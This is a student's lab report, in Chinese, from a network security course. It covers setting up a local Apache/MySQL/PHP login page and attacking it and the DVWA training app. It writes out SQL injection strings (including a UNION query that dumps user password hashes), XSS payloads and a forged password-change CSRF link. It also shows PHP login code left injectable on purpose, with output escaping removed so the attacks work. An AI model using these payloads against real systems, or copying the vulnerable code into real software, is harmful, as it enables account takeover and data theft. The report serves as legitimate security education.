20232315 2025-2026-1 《网络与系统攻防技术》实验八实验报告
目录
一、实验基本信息
-
实验环境:Kali Linux虚拟机 + VMware Workstation;windows主机
-
实验工具:Apache、MySQL数据库、DVWA等
-
实验时间:2025.12.05
二、实验内容
-
Web前端HTML
- 能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
-
Web前端Javascipt
-
理解JavaScript的基本功能,理解DOM,在(1)的基础上,编写JavaScript验证用户名、密码的规则,在用户点击登陆按钮后回显“欢迎+输入的用户名”。
-
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
-
-
Web后端
-
MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表。
-
编写PHP网页,连接数据库,进行用户认证 。
-
-
最简单的SQL注入,XSS攻击测试
-
安装DVWA平台,并完成SQL注入、XSS、CSRF攻击
三、实验要求
-
能够正常安装、启动、停止Apache服务
-
理解HTML表单和GET/POST方法
-
使用JavaScript实现前端验证规则、回显
-
安装使用MySQL数据库,编写PHP网页,连接数据库,进行用户认证
-
尝试SQL注入攻击和XSS注入
-
DVWA上尝试完成SQL注入、XSS攻击等
四、实验过程
4.1 Web前端HTML
-
4.1.1 安装与启停Apache
-
Apache(全称 Apache HTTP Server)是一个开源的、跨平台的Web服务器软件,由Apache软件基金会维护。它用于托管网站、处理HTTP请求、响应静态或动态内容,是互联网上最流行的Web服务器之一。
-
在kali虚拟机终端中输入以下命令
sudo apt install apache2 #安装Apache sudo systemctl start apache2 #启动Apache
- 在kali的浏览器中访问
http://localhost

可以看到“Apache2 Debian Default Page”,说明Apache成功安装并且能正常启动
- 在kali终端中输入
sudo systemctl stop apache2,刷新浏览器页面

可以看到"Unable to connect",说明Apache启停正常。
- 重新启动Apache,接下来的实验需要打开Apache
-
-
4.1.2 编写含表单HTML
- 在kali的/var/www/html/目录下新建文件login.html,编写一个简单的含有表单的登录页面,并访问
http://localhost/login.html查看效果


- 在kali的/var/www/html/目录下新建文件login.html,编写一个简单的含有表单的登录页面,并访问
4.2 Web前端Javascipt
-
4.2.1 编写JavaScript验证用户名、密码的规则,实现回显
在(1)的基础上,编写JavaScript验证用户名、密码的规则,在用户点击登陆按钮后回显“欢迎+输入的用户名”,新的代码写入kali的/var/www/html/目录下的新建文件JSlogin.html中。
- 用户名、密码验证规则以及回显的实现
<body> <div class="login-container"> <h2>用户登录</h2> <form id="loginForm"> <div class="form-group"> <label for="username">用户名</label> <input type="text" id="username" name="username" class="input-field" placeholder="请输入用户名(3-50个字符)" required> <div id="usernameError" style="color:#dc3545; font-size:14px; margin-top:5px; display:none;"></div> </div> <div class="form-group"> <label for="password">密码</label> <input type="password" id="password" name="password" class="input-field" placeholder="请输入密码(至少6位)" required> <div id="passwordError" style="color:#dc3545; font-size:14px; margin-top:5px; display:none;"></div> </div> <button type="submit" class="submit-btn">登录</button> </form> <!-- 欢迎信息显示区域(存在XSS漏洞) --> <div class="welcome-area" id="welcomeArea"> <!-- 这里将直接显示用户输入的内容 --> <p style="color:#666; text-align:center;">登录后将在这里显示欢迎信息</p> </div> <div class="form-footer"> <p>© 20232315 登录系统 | <a href="#">忘记密码?</a></p> </div> </div> <script> ...... ...... // JavaScript验证用户名规则 if (!username) { usernameError.textContent = '用户名不能为空'; usernameError.style.display = 'block'; isValid = false; } else if (username.length < 3 || username.length > 50) { usernameError.textContent = '用户名长度必须在3-50个字符之间'; usernameError.style.display = 'block'; isValid = false; } // JavaScript验证密码规则 if (!password) { passwordError.textContent = '密码不能为空'; passwordError.style.display = 'block'; isValid = false; } else if (password.length < 6) { passwordError.textContent = '密码长度至少6位'; passwordError.style.display = 'block'; isValid = false; } // 如果验证通过 if (isValid) { welcomeArea.innerHTML = ` <div style="text-align:center; padding:15px;"> <h3 style="color:#4a6ee0; margin-bottom:10px;">登录成功</h3> <p style="font-size:18px;">欢迎,<strong>${username}</strong>!</p> <p style="color:#666; font-size:14px; margin-top:10px;">您已成功登录系统</p> </div> `; } }); ...... ...... </script> </body>- 在kali浏览器中访问
http://localhost/JSlogin.html,查看规则限制与回显效果



-
4.2.2 尝试注入攻击:利用回显用户名注入HTML及JavaScript
- HTML注入,在用户名中输入
<span style="color:red">你的网站被黑了!</span>

- JavaScript注入,在用户名中输入
游客<img src="x" onerror="alert('注入攻击成功!')">

- HTML注入,在用户名中输入
4.3 Web后端
-
4.3.1 安装启动MySQL
- 查看MySQL版本

从结果可以看到,Kali自带MariaDB(MySQL的一个开源分支)
- 启动MySQL服务,输入以下命令:
sudo systemctl start mariadb #启动服务 sudo systemctl status mariadb #检查服务状态
结果显示Active: active (running),服务已经开始运行
-
4.3.2 建库、创建用户、修改密码、建表
- 登录MySQL,在kali终端输入
sudo mysql -u root -p,使用root用户登录MySQL

- 建库、创建用户、修改密码、建表,输入以下命令:
CREATE DATABASE IF NOT EXISTS mydb20232315; #创建数据库mydb20232315 USE mydb20232315; #进入数据库 CREATE USER 'user20232315' IDENTIFIED BY 'klein@0304'; #创建用户 SELECT User, Host FROM mysql.user WHERE User = 'user20232315'; #验证用户创建是否成功 GRANT ALL PRIVILEGES ON mydb20232315.* TO 'user20232315'; #授予用户数据库的所有权限 FLUSH PRIVILEGES; #刷新权限使设置生效 SHOW GRANTS FOR 'user20232315'; #查看用户的权限 CREATE TABLE IF NOT EXISTS users (id INT AUTO_INCREMENT PRIMARY KEY,username VARCHAR(50) NOT NULL UNIQUE,password VARCHAR(100) NOT NULL,created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ); #创建用户表 INSERT INTO users (username, password) VALUES ('admin', MD5('admin@123')),('testuser1', MD5('test@123')),('testuser2', MD5('test@456')); #在表中插入测试数据,使用MD5哈希存储密码 SELECT * FROM users; #查看插入的数据
-
测试修改创建的用户的密码
ALTER USER 'user20232315' IDENTIFIED BY 'user@123'; #修改密码
-
验证用户登录
mysql -u user20232315 -p
- 登录MySQL,在kali终端输入
-
4.3.3 编写PHP网页,连接数据库
- 在kali的/var/www/html/目录下创建项目目录20232315php,编写php网页,项目结构如下:
/var/www/html/20232315php/ ├── login.php # 登录页面 ├── config.php # 数据库配置 ├── authenticate.php # 认证处理(决定跳转到哪个页面) ├── success.php # 正确登录页面 ├── user_not_found.php # 用户不存在页面 ├── password_error.php # 密码错误页面 └── logout.php # 退出登录-
主要文件
- config.php
<?php // config.php - 数据库配置文件 // 数据库连接配置 define('DB_HOST', 'localhost'); define('DB_USER', 'user20232315'); define('DB_PASS', 'user@123'); define('DB_NAME', 'mydb20232315'); //创建数据库连接,返回mysql连接对象 function get_db_connection() { // 创建连接 $conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); // 检查连接 if ($conn->connect_error) { die("数据库连接失败: " . $conn->connect_error); } // 设置字符集为UTF-8 $conn->set_charset("utf8"); return $conn; } ?>- authenticate.php
<?php // authenticate.php - 用户认证文件 session_start(); require_once 'config.php'; //引入数据库配置文件 // 获取用户输入 $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; // 验证输入是否为空 if (empty($username) || empty($password)) { header('Location: login.php'); exit(); } // 获取数据库连接 $conn = get_db_connection(); // 1. 先检查用户是否存在 $check_user_sql = "SELECT id, username FROM users WHERE username = '$username'"; $user_result = $conn->query($check_user_sql); if (!$user_result) { // 查询出错 header('Location: password_error.php'); exit(); } if ($user_result->num_rows === 0) { // 情况1:用户不存在 $conn->close(); header('Location: user_not_found.php?username=' . urlencode($username));//跳转并提示用户不存在 exit(); } // 2. 用户存在,检查密码 $check_password_sql = "SELECT id, username FROM users WHERE username = '$username' AND password = MD5('$password')"; $password_result = $conn->query($check_password_sql); if ($password_result && $password_result->num_rows > 0) { // 情况2:密码正确(登录成功) $user = $password_result->fetch_assoc(); // 设置会话变量 $_SESSION['user_id'] = $user['id']; $_SESSION['username'] = $user['username']; $_SESSION['login_time'] = date('Y-m-d H:i:s'); $conn->close(); header('Location: success.php'); exit(); } else { // 情况3:用户存在但密码错误 $conn->close(); header('Location: password_error.php?username=' . urlencode($username)); //跳转并提示密码错误 exit(); } ?>
-
4.3.4 用户认证,测试登录
- 测试登录,在浏览器中访问
http://localhost/20232315php/login.php

- 成功登录


- 用户不存在,输入未创建的用户testuser3

- 密码错误,输入用户admin,密码123456(正确密码为admin@123)

- 测试登录,在浏览器中访问
4.4 最简单的SQL注入,XSS攻击测试
-
4.4.1 SQL注入
-
在用户名输入
admin' OR '1'='1,密码输入123456(正确密码为admin@123)

可以看到最后也成功登录了。因为在编写php代码是直接将用户输入搬了SQL的查询语句中,使得原本只有在
SELECT * FROM users WHERE username = 'admin' AND password = MD5('admin@123');时才成功,变成了SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = MD5('123456');,等价于SELECT * FROM users WHERE (username = 'admin') OR ('1'='1' AND password = MD5('123456'));,而1 = 1永远为真,所以返回用户admin成功登录界面。 -
在用户名中输入
admin' --,密码输入123456

同样成功登录。“--“在SQL语言中的作用是注释之后的内容,注入SQL后的验证变成了
SELECT * FROM users WHERE username = 'admin' -- ' AND password = MD5('123456');等价于
SELECT * FROM users WHERE username = 'admin';所以返回用户admin成功登录界面。
-
-
4.4.2 XSS攻击
-
在用户名中输入
<script>alert("XSS攻击成功!")</script>,输入任意密码


<script>alert("XSS攻击成功!")</script>不是用户注册的用户名,在跳转到用户不存在页面时,该语句被注入到URL参数中,被用户浏览器当成了代码执行,显示alert弹窗。
-
4.5 安装DVWA平台,并完成SQL注入、XSS、CSRF攻击
-
4.5.1 DVWA安装配置以及登录
-
在kali的
/var/www/html/目录下载DVWA#使用wget下载 sudo wget https://github.com/digininja/DVWA/archive/master.zip sudo unzip master.zip sudo mv DVWA-master DVWA # 设置权限 sudo chown -R www-data:www-data DVWA sudo chmod -R 755 DVWA cd config #进入DVWA配置文件 sudo cp config.inc.php.dist config.inc.php #复制配置文件,准备重新编辑

-
登录MySQL,建立DVWA数据库,新建用户,设置密码
CREATE DATABASE IF NOT EXISTS dvwa20232315; -- 新建DVWA数据库 CREATE USER 'dvwa2315' IDENTIFIED BY 'dvwa@123'; -- 新建用户设置密码 GRANT ALL PRIVILEGES ON dvwa20232315.* TO 'dvwa'; -- 将新建数据库的所有权限赋予新建用户 FLUSH PRIVILEGES; -- 刷新,使权限生效 EXIT;
-
图形界面进入
/var/www/html/DVWA/config/目录,打开复制的config.inc.php文件,找到以下内容并修改$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa20232315'; #登录刚刚新建的数据库 $_DVWA[ 'db_user' ] = 'dvwa2315'; #使用新建的用户登录 $_DVWA[ 'db_password' ] = 'dvwa@123'; #设置密码为新建用户的密码
-
配置PHP设置,图形界面进入
/etc/php/8.4/apache2目录,打开php.ini文件,找到并修改以下内容# 找到以下配置并修改: allow_url_fopen = On allow_url_include = On display_errors = On display_startup_errors = On # 保存后重启Apache sudo systemctl restart apache2

-
登录DVWA,在kali的浏览器中访问
http://localhost/DVWA/,输入默认用户名admin与默认密码password,找到左侧DVWA Security,将安全等级设置为low

-
-
4.5.2 SQL注入攻击
在DVWA界面左侧找到
SQL Injection,点击进入-
输入
1,测试注入点
-
尝试输入注释符,输入
1' --,能够绕过密码查询,显示用户信息
-
输入万能密码
1' or '1'='1,显示所有用户信息
-
联合查询获取更多信息,输入
1' union select 1,version() --,获取MySQL版本信息

- 显示所有用户的用户名和密码(MD5哈希),输入
1' union select user,password from users --

-
-
4.5.3 XSS攻击
-
反射型XSS,在左侧找到
XSS(Reflected),点击进入-
输入
<script>alert('20232315 XSS攻击成功!')</script>,弹出alert弹窗

-
-
存储型XSS,在左侧找到
XSS(Stored),点击进入-
在Name一栏输入
admin,在留言板Message中输入<script>alert('20232315 存储型XSS成功!')</script>,显示alert弹窗
-
刷新该页面,仍然会显示alert弹窗

-
新开一个窗口访问该页面
http://localhost/DVWA/vulnerabilities/xss_s/,仍然会跳出弹窗
-
-
-
4.5.4 CSRF攻击
在左侧找到
CSRF,点击进入-
观察修改密码的URL,在
NEW password和Confirm new password中输入想要修改后的密码20232315,并点击Change,观察浏览器上方的URL关键参数
URL:
http://localhost/DVWA/vulnerabilities/csrf/?password_new=20232315yx&password_conf=20232315yx&Change=Change#,关键参数:-
password_new=20232315yx -
password_conf=20232315yx -
在
Test Credentials中用修改的密码进行登录测试,可以成功登录,密码已经修改
-
-
构造恶意URL,将以上获得的URL中的关键参数改为自己想要的密码,构造恶意URL
http://localhost/DVWA/vulnerabilities/csrf/?password_new=hackedby2315&password_conf=hackedby2315&Change=Change#,在新开一个窗口登录DVWA,在地址栏中输入改URL模拟点击恶意链接
-
在
Test Credentials中尝试用20232315yx登录,无法登录
-
用
hackedby2315登录,登录成功
-
-
五、问题及解决方案
第一次进行XSS攻击测试时无法成功
问题:在用户名中输入<script>alert("XSS攻击成功!")</script>,输入任意密码,最后正常跳转到用户不存在页面,并没有显示“XSS攻击成功!”


原因:user_not_found.php文件代码中使用了htmlspecialchars()函数

该函数会将HTML特殊字符转换为HTML实体,防止浏览器将它们解释为HTML代码,比如:
| 原始字符 | 转换后 |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
当用户输入<script>alert("XSS攻击成功!")</script>时,浏览器HTML中会显示<script>alert("XSS攻击")</script>,此时<script>alert("XSS攻击成功!")</script>对于浏览器来说就是纯文本,不会理解为HTML代码执行
解决:取消使用htmlspecialchars()函数

六、实验感想
通过本次实验,我深刻体会到了理论知识与实践操作之间的巨大差距,也对网络安全的重要性有了全新的认识。以前学习安全知识时,总觉得漏洞、攻击离自己很遥远,只是教科书上的概念,但这次理论与实践的结合让我看到了安全的立体性,实验中,我不仅需要理解SQL注入、XSS、CSRF的原理,更要实际操作验证。比如在测试XSS攻击时,我输入<script>alert('XSS')</script>发现没有弹窗,第一反应是“攻击失败了”。但通过分析代码,我发现这是因为系统正确使用了htmlspecialchars()进行防护—,这个“失败”恰恰证明了防护的有效性,让我对安全防御有了更深的理解。
本次实验也进一步加强了我的安全意识和责任感,当我用DVWA平台成功实施CSRF攻击,仅仅通过一个链接就能修改他人密码时,我深刻体会到了“不乱点不明链接”的重要性。
总之,这次实验不仅是一次技术练习,更是一次安全思维的洗礼。它让我明白,安全不是“锦上添花”的可选项,而是“生死攸关”的必选项;不是开发完成后的修补,而是贯穿始终的考量。
浙公网安备 33010602011771号